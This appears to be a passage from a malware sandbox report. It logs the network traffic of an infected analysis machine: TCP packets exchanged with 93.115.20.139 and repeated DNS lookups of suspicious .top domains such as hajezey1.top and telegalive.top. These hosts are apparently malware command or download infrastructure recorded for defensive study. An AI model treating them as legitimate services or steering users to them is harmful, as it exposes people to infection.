Oct 29, 2021 20:11:56.996040106 CEST	28978	49842	93.115.20.139	192.168.2.5
Oct 29, 2021 20:11:56.996087074 CEST	28978	49842	93.115.20.139	192.168.2.5
Oct 29, 2021 20:11:56.996669054 CEST	49842	28978	192.168.2.5	93.115.20.139
Oct 29, 2021 20:11:56.996803999 CEST	49842	28978	192.168.2.5	93.115.20.139
Oct 29, 2021 20:11:57.009789944 CEST	28978	49842	93.115.20.139	192.168.2.5
Oct 29, 2021 20:11:57.009844065 CEST	28978	49842	93.115.20.139	192.168.2.5
Oct 29, 2021 20:11:57.010034084 CEST	28978	49842	93.115.20.139	192.168.2.5
Oct 29, 2021 20:11:57.010828018 CEST	28978	49842	93.115.20.139	192.168.2.5
Oct 29, 2021 20:11:57.011399984 CEST	28978	49842	93.115.20.139	192.168.2.5
Oct 29, 2021 20:11:57.011418104 CEST	28978	49842	93.115.20.139	192.168.2.5
Oct 29, 2021 20:11:57.012300014 CEST	28978	49842	93.115.20.139	192.168.2.5
Oct 29, 2021 20:11:57.012317896 CEST	28978	49842	93.115.20.139	192.168.2.5
Oct 29, 2021 20:11:57.020828962 CEST	28978	49842	93.115.20.139	192.168.2.5
Oct 29, 2021 20:11:57.020843983 CEST	28978	49842	93.115.20.139	192.168.2.5
Oct 29, 2021 20:11:57.021244049 CEST	28978	49842	93.115.20.139	192.168.2.5
Oct 29, 2021 20:11:57.021564960 CEST	28978	49842	93.115.20.139	192.168.2.5
Oct 29, 2021 20:11:57.022111893 CEST	28978	49842	93.115.20.139	192.168.2.5
Oct 29, 2021 20:11:57.022818089 CEST	28978	49842	93.115.20.139	192.168.2.5
Oct 29, 2021 20:11:57.023809910 CEST	28978	49842	93.115.20.139	192.168.2.5
Oct 29, 2021 20:11:57.063010931 CEST	28978	49842	93.115.20.139	192.168.2.5
Oct 29, 2021 20:11:57.077117920 CEST	49842	28978	192.168.2.5	93.115.20.139
Oct 29, 2021 20:11:57.077254057 CEST	49842	28978	192.168.2.5	93.115.20.139
Oct 29, 2021 20:11:57.077275038 CEST	49842	28978	192.168.2.5	93.115.20.139
Oct 29, 2021 20:11:57.077333927 CEST	49842	28978	192.168.2.5	93.115.20.139
Oct 29, 2021 20:11:57.077395916 CEST	49842	28978	192.168.2.5	93.115.20.139
Oct 29, 2021 20:11:57.101142883 CEST	28978	49842	93.115.20.139	192.168.2.5
Oct 29, 2021 20:11:57.101313114 CEST	28978	49842	93.115.20.139	192.168.2.5
Oct 29, 2021 20:11:57.101671934 CEST	28978	49842	93.115.20.139	192.168.2.5
Oct 29, 2021 20:11:57.102190971 CEST	28978	49842	93.115.20.139	192.168.2.5
Oct 29, 2021 20:11:57.102423906 CEST	28978	49842	93.115.20.139	192.168.2.5
Oct 29, 2021 20:11:57.102824926 CEST	28978	49842	93.115.20.139	192.168.2.5
Oct 29, 2021 20:11:57.103269100 CEST	28978	49842	93.115.20.139	192.168.2.5
Oct 29, 2021 20:11:57.103703022 CEST	28978	49842	93.115.20.139	192.168.2.5
Oct 29, 2021 20:11:57.104146004 CEST	28978	49842	93.115.20.139	192.168.2.5
Oct 29, 2021 20:11:57.104521036 CEST	28978	49842	93.115.20.139	192.168.2.5
Oct 29, 2021 20:11:57.104955912 CEST	28978	49842	93.115.20.139	192.168.2.5
Oct 29, 2021 20:11:57.105238914 CEST	28978	49842	93.115.20.139	192.168.2.5
Oct 29, 2021 20:11:57.108280897 CEST	49842	28978	192.168.2.5	93.115.20.139
Oct 29, 2021 20:11:57.108397007 CEST	49842	28978	192.168.2.5	93.115.20.139
Oct 29, 2021 20:11:57.113583088 CEST	28978	49842	93.115.20.139	192.168.2.5
Oct 29, 2021 20:11:57.113751888 CEST	28978	49842	93.115.20.139	192.168.2.5
Oct 29, 2021 20:11:57.114026070 CEST	49842	28978	192.168.2.5	93.115.20.139
Oct 29, 2021 20:11:57.114144087 CEST	49842	28978	192.168.2.5	93.115.20.139
Oct 29, 2021 20:11:57.132184982 CEST	28978	49842	93.115.20.139	192.168.2.5
Oct 29, 2021 20:11:57.132213116 CEST	28978	49842	93.115.20.139	192.168.2.5
Oct 29, 2021 20:11:57.132409096 CEST	28978	49842	93.115.20.139	192.168.2.5
Oct 29, 2021 20:11:57.132524967 CEST	28978	49842	93.115.20.139	192.168.2.5
Oct 29, 2021 20:11:57.132839918 CEST	28978	49842	93.115.20.139	192.168.2.5
Oct 29, 2021 20:11:57.133239985 CEST	28978	49842	93.115.20.139	192.168.2.5
Oct 29, 2021 20:11:57.133610010 CEST	28978	49842	93.115.20.139	192.168.2.5
Oct 29, 2021 20:11:57.133804083 CEST	28978	49842	93.115.20.139	192.168.2.5
Oct 29, 2021 20:11:57.134150028 CEST	28978	49842	93.115.20.139	192.168.2.5
Oct 29, 2021 20:11:57.134428978 CEST	28978	49842	93.115.20.139	192.168.2.5
Oct 29, 2021 20:11:57.137888908 CEST	28978	49842	93.115.20.139	192.168.2.5
Oct 29, 2021 20:11:57.137912035 CEST	28978	49842	93.115.20.139	192.168.2.5
Oct 29, 2021 20:11:57.138070107 CEST	28978	49842	93.115.20.139	192.168.2.5
Oct 29, 2021 20:11:57.138262987 CEST	28978	49842	93.115.20.139	192.168.2.5
Oct 29, 2021 20:11:57.138869047 CEST	28978	49842	93.115.20.139	192.168.2.5
Oct 29, 2021 20:11:57.139292002 CEST	28978	49842	93.115.20.139	192.168.2.5
Oct 29, 2021 20:11:57.139854908 CEST	28978	49842	93.115.20.139	192.168.2.5
Oct 29, 2021 20:11:57.140578985 CEST	28978	49842	93.115.20.139	192.168.2.5
Oct 29, 2021 20:11:57.202090025 CEST	49842	28978	192.168.2.5	93.115.20.139
Oct 29, 2021 20:11:57.202219009 CEST	49842	28978	192.168.2.5	93.115.20.139
Oct 29, 2021 20:11:57.202240944 CEST	49842	28978	192.168.2.5	93.115.20.139
Oct 29, 2021 20:11:57.202301025 CEST	49842	28978	192.168.2.5	93.115.20.139
Oct 29, 2021 20:11:57.202352047 CEST	49842	28978	192.168.2.5	93.115.20.139
Oct 29, 2021 20:11:57.225985050 CEST	28978	49842	93.115.20.139	192.168.2.5
Oct 29, 2021 20:11:57.226012945 CEST	28978	49842	93.115.20.139	192.168.2.5
Oct 29, 2021 20:11:57.226228952 CEST	28978	49842	93.115.20.139	192.168.2.5
Oct 29, 2021 20:11:57.226475000 CEST	28978	49842	93.115.20.139	192.168.2.5
Oct 29, 2021 20:11:57.226814032 CEST	28978	49842	93.115.20.139	192.168.2.5
Oct 29, 2021 20:11:57.227421999 CEST	28978	49842	93.115.20.139	192.168.2.5
Oct 29, 2021 20:11:57.227804899 CEST	28978	49842	93.115.20.139	192.168.2.5
Oct 29, 2021 20:11:57.228077888 CEST	28978	49842	93.115.20.139	192.168.2.5
Oct 29, 2021 20:11:57.228621006 CEST	28978	49842	93.115.20.139	192.168.2.5
Oct 29, 2021 20:11:57.229108095 CEST	28978	49842	93.115.20.139	192.168.2.5
Oct 29, 2021 20:11:57.229507923 CEST	28978	49842	93.115.20.139	192.168.2.5
Oct 29, 2021 20:11:57.230300903 CEST	28978	49842	93.115.20.139	192.168.2.5
Oct 29, 2021 20:11:57.230818033 CEST	28978	49842	93.115.20.139	192.168.2.5
Oct 29, 2021 20:11:57.231097937 CEST	28978	49842	93.115.20.139	192.168.2.5
Oct 29, 2021 20:11:57.231486082 CEST	28978	49842	93.115.20.139	192.168.2.5
Oct 29, 2021 20:11:57.233298063 CEST	49842	28978	192.168.2.5	93.115.20.139
Oct 29, 2021 20:11:57.233431101 CEST	49842	28978	192.168.2.5	93.115.20.139
Oct 29, 2021 20:11:57.233453989 CEST	49842	28978	192.168.2.5	93.115.20.139
Oct 29, 2021 20:11:57.233510017 CEST	49842	28978	192.168.2.5	93.115.20.139
Oct 29, 2021 20:11:57.233557940 CEST	49842	28978	192.168.2.5	93.115.20.139
Oct 29, 2021 20:11:57.257220030 CEST	28978	49842	93.115.20.139	192.168.2.5
Oct 29, 2021 20:11:57.257255077 CEST	28978	49842	93.115.20.139	192.168.2.5
Oct 29, 2021 20:11:57.257405996 CEST	28978	49842	93.115.20.139	192.168.2.5
Oct 29, 2021 20:11:57.257707119 CEST	28978	49842	93.115.20.139	192.168.2.5
Oct 29, 2021 20:11:57.258219004 CEST	28978	49842	93.115.20.139	192.168.2.5
Oct 29, 2021 20:11:57.258685112 CEST	28978	49842	93.115.20.139	192.168.2.5
Oct 29, 2021 20:11:57.259052038 CEST	28978	49842	93.115.20.139	192.168.2.5
Oct 29, 2021 20:11:57.259537935 CEST	28978	49842	93.115.20.139	192.168.2.5
Oct 29, 2021 20:11:57.259891987 CEST	28978	49842	93.115.20.139	192.168.2.5
Oct 29, 2021 20:11:57.259913921 CEST	28978	49842	93.115.20.139	192.168.2.5
Oct 29, 2021 20:11:57.260437965 CEST	28978	49842	93.115.20.139	192.168.2.5
Oct 29, 2021 20:11:57.260890961 CEST	28978	49842	93.115.20.139	192.168.2.5
Oct 29, 2021 20:11:57.261163950 CEST	28978	49842	93.115.20.139	192.168.2.5
Oct 29, 2021 20:11:57.261554003 CEST	28978	49842	93.115.20.139	192.168.2.5
Oct 29, 2021 20:11:57.262046099 CEST	28978	49842	93.115.20.139	192.168.2.5
Oct 29, 2021 20:11:57.262402058 CEST	28978	49842	93.115.20.139	192.168.2.5
Oct 29, 2021 20:11:57.262569904 CEST	28978	49842	93.115.20.139	192.168.2.5
Oct 29, 2021 20:11:57.326946020 CEST	49842	28978	192.168.2.5	93.115.20.139
Oct 29, 2021 20:11:57.350868940 CEST	28978	49842	93.115.20.139	192.168.2.5
Oct 29, 2021 20:11:57.356108904 CEST	28978	49842	93.115.20.139	192.168.2.5
Oct 29, 2021 20:11:57.358741045 CEST	49842	28978	192.168.2.5	93.115.20.139
Oct 29, 2021 20:11:57.383482933 CEST	28978	49842	93.115.20.139	192.168.2.5
Oct 29, 2021 20:11:57.481069088 CEST	49842	28978	192.168.2.5	93.115.20.139
Oct 29, 2021 20:11:57.505177021 CEST	28978	49842	93.115.20.139	192.168.2.5
Oct 29, 2021 20:11:57.717518091 CEST	49842	28978	192.168.2.5	93.115.20.139
Oct 29, 2021 20:11:58.369987011 CEST	49842	28978	192.168.2.5	93.115.20.139
Oct 29, 2021 20:12:31.059391022 CEST	80	49847	91.219.236.97	192.168.2.5
Oct 29, 2021 20:12:31.059463978 CEST	49847	80	192.168.2.5	91.219.236.97

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 29, 2021 20:10:11.239000082 CEST	65447	53	192.168.2.5	8.8.8.8
Oct 29, 2021 20:10:11.258455038 CEST	53	65447	8.8.8.8	192.168.2.5
Oct 29, 2021 20:10:11.268511057 CEST	52441	53	192.168.2.5	8.8.8.8
Oct 29, 2021 20:10:11.671344042 CEST	53	52441	8.8.8.8	192.168.2.5
Oct 29, 2021 20:10:11.823913097 CEST	62176	53	192.168.2.5	8.8.8.8
Oct 29, 2021 20:10:11.843478918 CEST	53	62176	8.8.8.8	192.168.2.5
Oct 29, 2021 20:10:12.026576996 CEST	59596	53	192.168.2.5	8.8.8.8
Oct 29, 2021 20:10:12.045677900 CEST	53	59596	8.8.8.8	192.168.2.5
Oct 29, 2021 20:10:15.316878080 CEST	65296	53	192.168.2.5	8.8.8.8
Oct 29, 2021 20:10:15.686341047 CEST	53	65296	8.8.8.8	192.168.2.5
Oct 29, 2021 20:10:16.149118900 CEST	63183	53	192.168.2.5	8.8.8.8
Oct 29, 2021 20:10:16.168242931 CEST	53	63183	8.8.8.8	192.168.2.5
Oct 29, 2021 20:10:31.227278948 CEST	56969	53	192.168.2.5	8.8.8.8
Oct 29, 2021 20:10:31.514676094 CEST	53	56969	8.8.8.8	192.168.2.5
Oct 29, 2021 20:10:31.690587044 CEST	55161	53	192.168.2.5	8.8.8.8
Oct 29, 2021 20:10:31.713120937 CEST	53	55161	8.8.8.8	192.168.2.5
Oct 29, 2021 20:10:31.859009027 CEST	54757	53	192.168.2.5	8.8.8.8
Oct 29, 2021 20:10:31.880048990 CEST	53	54757	8.8.8.8	192.168.2.5
Oct 29, 2021 20:10:32.056253910 CEST	49992	53	192.168.2.5	8.8.8.8
Oct 29, 2021 20:10:32.423012972 CEST	53	49992	8.8.8.8	192.168.2.5
Oct 29, 2021 20:10:32.567047119 CEST	60075	53	192.168.2.5	8.8.8.8
Oct 29, 2021 20:10:32.586476088 CEST	53	60075	8.8.8.8	192.168.2.5
Oct 29, 2021 20:10:36.493403912 CEST	55016	53	192.168.2.5	8.8.8.8
Oct 29, 2021 20:10:36.512619019 CEST	53	55016	8.8.8.8	192.168.2.5
Oct 29, 2021 20:10:36.653253078 CEST	64345	53	192.168.2.5	8.8.8.8
Oct 29, 2021 20:10:36.672538996 CEST	53	64345	8.8.8.8	192.168.2.5
Oct 29, 2021 20:10:36.809900045 CEST	57128	53	192.168.2.5	8.8.8.8
Oct 29, 2021 20:10:36.829308987 CEST	53	57128	8.8.8.8	192.168.2.5
Oct 29, 2021 20:10:36.975539923 CEST	50463	53	192.168.2.5	8.8.8.8
Oct 29, 2021 20:10:36.994990110 CEST	53	50463	8.8.8.8	192.168.2.5
Oct 29, 2021 20:10:38.630606890 CEST	50394	53	192.168.2.5	8.8.8.8
Oct 29, 2021 20:10:38.652573109 CEST	53	50394	8.8.8.8	192.168.2.5
Oct 29, 2021 20:10:40.465881109 CEST	58530	53	192.168.2.5	8.8.8.8
Oct 29, 2021 20:10:40.485739946 CEST	53	58530	8.8.8.8	192.168.2.5
Oct 29, 2021 20:10:40.632698059 CEST	53813	53	192.168.2.5	8.8.8.8
Oct 29, 2021 20:10:40.652132034 CEST	53	53813	8.8.8.8	192.168.2.5
Oct 29, 2021 20:10:43.579632044 CEST	63732	53	192.168.2.5	8.8.8.8
Oct 29, 2021 20:10:43.602001905 CEST	53	63732	8.8.8.8	192.168.2.5
Oct 29, 2021 20:10:44.569708109 CEST	57344	53	192.168.2.5	8.8.8.8
Oct 29, 2021 20:10:44.589178085 CEST	53	57344	8.8.8.8	192.168.2.5
Oct 29, 2021 20:10:44.751832962 CEST	54450	53	192.168.2.5	8.8.8.8
Oct 29, 2021 20:10:44.771209955 CEST	53	54450	8.8.8.8	192.168.2.5
Oct 29, 2021 20:10:44.922758102 CEST	59261	53	192.168.2.5	8.8.8.8
Oct 29, 2021 20:10:44.941961050 CEST	53	59261	8.8.8.8	192.168.2.5
Oct 29, 2021 20:10:47.834711075 CEST	57151	53	192.168.2.5	8.8.8.8
Oct 29, 2021 20:10:48.220582008 CEST	53	57151	8.8.8.8	192.168.2.5
Oct 29, 2021 20:10:48.419089079 CEST	59413	53	192.168.2.5	8.8.8.8
Oct 29, 2021 20:10:48.438671112 CEST	53	59413	8.8.8.8	192.168.2.5
Oct 29, 2021 20:10:48.582366943 CEST	60516	53	192.168.2.5	8.8.8.8
Oct 29, 2021 20:10:48.601681948 CEST	53	60516	8.8.8.8	192.168.2.5
Oct 29, 2021 20:10:48.744607925 CEST	51649	53	192.168.2.5	8.8.8.8
Oct 29, 2021 20:10:48.764193058 CEST	53	51649	8.8.8.8	192.168.2.5
Oct 29, 2021 20:10:48.913070917 CEST	65086	53	192.168.2.5	8.8.8.8
Oct 29, 2021 20:10:48.932560921 CEST	53	65086	8.8.8.8	192.168.2.5
Oct 29, 2021 20:10:50.739057064 CEST	56432	53	192.168.2.5	8.8.8.8
Oct 29, 2021 20:10:50.758750916 CEST	53	56432	8.8.8.8	192.168.2.5
Oct 29, 2021 20:10:50.911510944 CEST	52929	53	192.168.2.5	8.8.8.8
Oct 29, 2021 20:10:50.930922031 CEST	53	52929	8.8.8.8	192.168.2.5
Oct 29, 2021 20:10:51.080089092 CEST	64317	53	192.168.2.5	8.8.8.8
Oct 29, 2021 20:10:51.099366903 CEST	53	64317	8.8.8.8	192.168.2.5
Oct 29, 2021 20:10:51.242697001 CEST	61004	53	192.168.2.5	8.8.8.8
Oct 29, 2021 20:10:51.260781050 CEST	53	61004	8.8.8.8	192.168.2.5
Oct 29, 2021 20:10:51.421006918 CEST	56895	53	192.168.2.5	8.8.8.8
Oct 29, 2021 20:10:51.440727949 CEST	53	56895	8.8.8.8	192.168.2.5
Oct 29, 2021 20:10:55.809906960 CEST	62372	53	192.168.2.5	8.8.8.8
Oct 29, 2021 20:10:55.827872038 CEST	53	62372	8.8.8.8	192.168.2.5
Oct 29, 2021 20:10:55.985213995 CEST	61515	53	192.168.2.5	8.8.8.8
Oct 29, 2021 20:10:56.004759073 CEST	53	61515	8.8.8.8	192.168.2.5
Oct 29, 2021 20:10:56.252724886 CEST	56675	53	192.168.2.5	8.8.8.8
Oct 29, 2021 20:10:56.540116072 CEST	53	56675	8.8.8.8	192.168.2.5
Oct 29, 2021 20:10:57.739132881 CEST	57172	53	192.168.2.5	8.8.8.8
Oct 29, 2021 20:10:57.758337021 CEST	53	57172	8.8.8.8	192.168.2.5
Oct 29, 2021 20:10:59.940984011 CEST	55267	53	192.168.2.5	8.8.8.8
Oct 29, 2021 20:10:59.960449934 CEST	53	55267	8.8.8.8	192.168.2.5
Oct 29, 2021 20:11:00.144890070 CEST	50969	53	192.168.2.5	8.8.8.8
Oct 29, 2021 20:11:00.161952019 CEST	53	50969	8.8.8.8	192.168.2.5
Oct 29, 2021 20:11:00.432073116 CEST	64362	53	192.168.2.5	8.8.8.8
Oct 29, 2021 20:11:00.451416016 CEST	53	64362	8.8.8.8	192.168.2.5
Oct 29, 2021 20:11:00.654155970 CEST	54766	53	192.168.2.5	8.8.8.8
Oct 29, 2021 20:11:00.673628092 CEST	53	54766	8.8.8.8	192.168.2.5
Oct 29, 2021 20:11:00.987481117 CEST	61446	53	192.168.2.5	8.8.8.8
Oct 29, 2021 20:11:01.006988049 CEST	53	61446	8.8.8.8	192.168.2.5
Oct 29, 2021 20:11:01.209394932 CEST	57515	53	192.168.2.5	8.8.8.8
Oct 29, 2021 20:11:01.228509903 CEST	53	57515	8.8.8.8	192.168.2.5
Oct 29, 2021 20:11:01.419742107 CEST	58199	53	192.168.2.5	8.8.8.8
Oct 29, 2021 20:11:01.439146042 CEST	53	58199	8.8.8.8	192.168.2.5
Oct 29, 2021 20:11:01.612200975 CEST	65221	53	192.168.2.5	8.8.8.8
Oct 29, 2021 20:11:01.631324053 CEST	53	65221	8.8.8.8	192.168.2.5
Oct 29, 2021 20:11:01.787048101 CEST	61573	53	192.168.2.5	8.8.8.8
Oct 29, 2021 20:11:01.806180954 CEST	53	61573	8.8.8.8	192.168.2.5
Oct 29, 2021 20:11:01.956099033 CEST	56562	53	192.168.2.5	8.8.8.8
Oct 29, 2021 20:11:01.975271940 CEST	53	56562	8.8.8.8	192.168.2.5
Oct 29, 2021 20:11:02.114846945 CEST	53591	53	192.168.2.5	8.8.8.8
Oct 29, 2021 20:11:02.133939981 CEST	53	53591	8.8.8.8	192.168.2.5
Oct 29, 2021 20:11:02.286952019 CEST	59688	53	192.168.2.5	8.8.8.8
Oct 29, 2021 20:11:02.306128025 CEST	53	59688	8.8.8.8	192.168.2.5
Oct 29, 2021 20:11:06.838769913 CEST	56032	53	192.168.2.5	8.8.8.8
Oct 29, 2021 20:11:06.858334064 CEST	53	56032	8.8.8.8	192.168.2.5
Oct 29, 2021 20:11:09.425611973 CEST	61150	53	192.168.2.5	8.8.8.8
Oct 29, 2021 20:11:09.443144083 CEST	53	61150	8.8.8.8	192.168.2.5
Oct 29, 2021 20:11:09.989037037 CEST	63458	53	192.168.2.5	8.8.8.8
Oct 29, 2021 20:11:10.006409883 CEST	53	63458	8.8.8.8	192.168.2.5
Oct 29, 2021 20:11:13.150305986 CEST	50422	53	192.168.2.5	8.8.8.8
Oct 29, 2021 20:11:13.249139071 CEST	53	50422	8.8.8.8	192.168.2.5
Oct 29, 2021 20:11:16.373176098 CEST	53247	53	192.168.2.5	8.8.8.8
Oct 29, 2021 20:11:16.392899990 CEST	53	53247	8.8.8.8	192.168.2.5
Oct 29, 2021 20:11:19.524187088 CEST	53814	53	192.168.2.5	8.8.8.8
Oct 29, 2021 20:11:19.543862104 CEST	53	53814	8.8.8.8	192.168.2.5
Oct 29, 2021 20:11:23.990077972 CEST	51305	53	192.168.2.5	8.8.8.8
Oct 29, 2021 20:11:24.009481907 CEST	53	51305	8.8.8.8	192.168.2.5
Oct 29, 2021 20:11:24.022042990 CEST	53670	53	192.168.2.5	8.8.8.8
Oct 29, 2021 20:11:24.042779922 CEST	53	53670	8.8.8.8	192.168.2.5
Oct 29, 2021 20:11:31.692521095 CEST	61414	53	192.168.2.5	8.8.8.8
Oct 29, 2021 20:11:31.727085114 CEST	53	61414	8.8.8.8	192.168.2.5
Oct 29, 2021 20:11:32.203031063 CEST	63847	53	192.168.2.5	8.8.8.8
Oct 29, 2021 20:11:32.544063091 CEST	53	63847	8.8.8.8	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Oct 29, 2021 20:10:11.239000082 CEST	192.168.2.5	8.8.8.8	0x23b3	Standard query (0)	xacokuo8.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:10:11.268511057 CEST	192.168.2.5	8.8.8.8	0x6741	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:10:11.823913097 CEST	192.168.2.5	8.8.8.8	0x5287	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:10:12.026576996 CEST	192.168.2.5	8.8.8.8	0xd5fb	Standard query (0)	privacytoolzforyou-6000.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:10:15.316878080 CEST	192.168.2.5	8.8.8.8	0x8cc6	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:10:16.149118900 CEST	192.168.2.5	8.8.8.8	0xd1a1	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:10:31.227278948 CEST	192.168.2.5	8.8.8.8	0xedec	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:10:31.690587044 CEST	192.168.2.5	8.8.8.8	0xc58e	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:10:31.859009027 CEST	192.168.2.5	8.8.8.8	0x395e	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:10:32.056253910 CEST	192.168.2.5	8.8.8.8	0x8fc	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:10:32.567047119 CEST	192.168.2.5	8.8.8.8	0xb4f5	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:10:36.493403912 CEST	192.168.2.5	8.8.8.8	0x94cd	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:10:36.653253078 CEST	192.168.2.5	8.8.8.8	0x780b	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:10:36.809900045 CEST	192.168.2.5	8.8.8.8	0xfe85	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:10:36.975539923 CEST	192.168.2.5	8.8.8.8	0x63e4	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:10:38.630606890 CEST	192.168.2.5	8.8.8.8	0x7bc4	Standard query (0)	cdn.discordapp.com	A (IP address)	IN (0x0001)
Oct 29, 2021 20:10:40.465881109 CEST	192.168.2.5	8.8.8.8	0xd134	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:10:40.632698059 CEST	192.168.2.5	8.8.8.8	0xfd08	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:10:43.579632044 CEST	192.168.2.5	8.8.8.8	0xf755	Standard query (0)	cdn.discordapp.com	A (IP address)	IN (0x0001)
Oct 29, 2021 20:10:44.569708109 CEST	192.168.2.5	8.8.8.8	0xd49d	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:10:44.751832962 CEST	192.168.2.5	8.8.8.8	0x6e6b	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:10:44.922758102 CEST	192.168.2.5	8.8.8.8	0x786e	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:10:47.834711075 CEST	192.168.2.5	8.8.8.8	0x2bcd	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:10:48.419089079 CEST	192.168.2.5	8.8.8.8	0xc3dd	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:10:48.582366943 CEST	192.168.2.5	8.8.8.8	0x1da0	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:10:48.744607925 CEST	192.168.2.5	8.8.8.8	0x7ec5	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:10:48.913070917 CEST	192.168.2.5	8.8.8.8	0x8ca9	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:10:50.739057064 CEST	192.168.2.5	8.8.8.8	0xd045	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:10:50.911510944 CEST	192.168.2.5	8.8.8.8	0x60de	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:10:51.080089092 CEST	192.168.2.5	8.8.8.8	0x2c86	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:10:51.242697001 CEST	192.168.2.5	8.8.8.8	0xe939	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:10:51.421006918 CEST	192.168.2.5	8.8.8.8	0xc306	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:10:55.809906960 CEST	192.168.2.5	8.8.8.8	0xac36	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:10:55.985213995 CEST	192.168.2.5	8.8.8.8	0x2463	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:10:56.252724886 CEST	192.168.2.5	8.8.8.8	0x16a0	Standard query (0)	sysaheu90.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:10:57.739132881 CEST	192.168.2.5	8.8.8.8	0xfe1d	Standard query (0)	cdn.discordapp.com	A (IP address)	IN (0x0001)
Oct 29, 2021 20:10:59.940984011 CEST	192.168.2.5	8.8.8.8	0xf8aa	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:11:00.144890070 CEST	192.168.2.5	8.8.8.8	0x55b5	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:11:00.432073116 CEST	192.168.2.5	8.8.8.8	0x323b	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:11:00.654155970 CEST	192.168.2.5	8.8.8.8	0xb42e	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:11:00.987481117 CEST	192.168.2.5	8.8.8.8	0xf23e	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:11:01.209394932 CEST	192.168.2.5	8.8.8.8	0x2642	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:11:01.419742107 CEST	192.168.2.5	8.8.8.8	0x3f5b	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:11:01.612200975 CEST	192.168.2.5	8.8.8.8	0x426	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:11:01.787048101 CEST	192.168.2.5	8.8.8.8	0xf54b	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:11:01.956099033 CEST	192.168.2.5	8.8.8.8	0x2bdd	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:11:02.114846945 CEST	192.168.2.5	8.8.8.8	0x49da	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:11:02.286952019 CEST	192.168.2.5	8.8.8.8	0xfde6	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:11:06.838769913 CEST	192.168.2.5	8.8.8.8	0xef46	Standard query (0)	telegalive.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:11:09.425611973 CEST	192.168.2.5	8.8.8.8	0x5478	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:11:09.989037037 CEST	192.168.2.5	8.8.8.8	0x6db5	Standard query (0)	telegalive.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:11:13.150305986 CEST	192.168.2.5	8.8.8.8	0x3696	Standard query (0)	telegalive.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:11:16.373176098 CEST	192.168.2.5	8.8.8.8	0x283c	Standard query (0)	telegalive.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:11:19.524187088 CEST	192.168.2.5	8.8.8.8	0xd35f	Standard query (0)	telegalive.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:11:23.990077972 CEST	192.168.2.5	8.8.8.8	0xa01d	Standard query (0)	telegalive.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:11:24.022042990 CEST	192.168.2.5	8.8.8.8	0x60b4	Standard query (0)	toptelete.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:11:31.692521095 CEST	192.168.2.5	8.8.8.8	0xa069	Standard query (0)	nusurtal4f.net	A (IP address)	IN (0x0001)
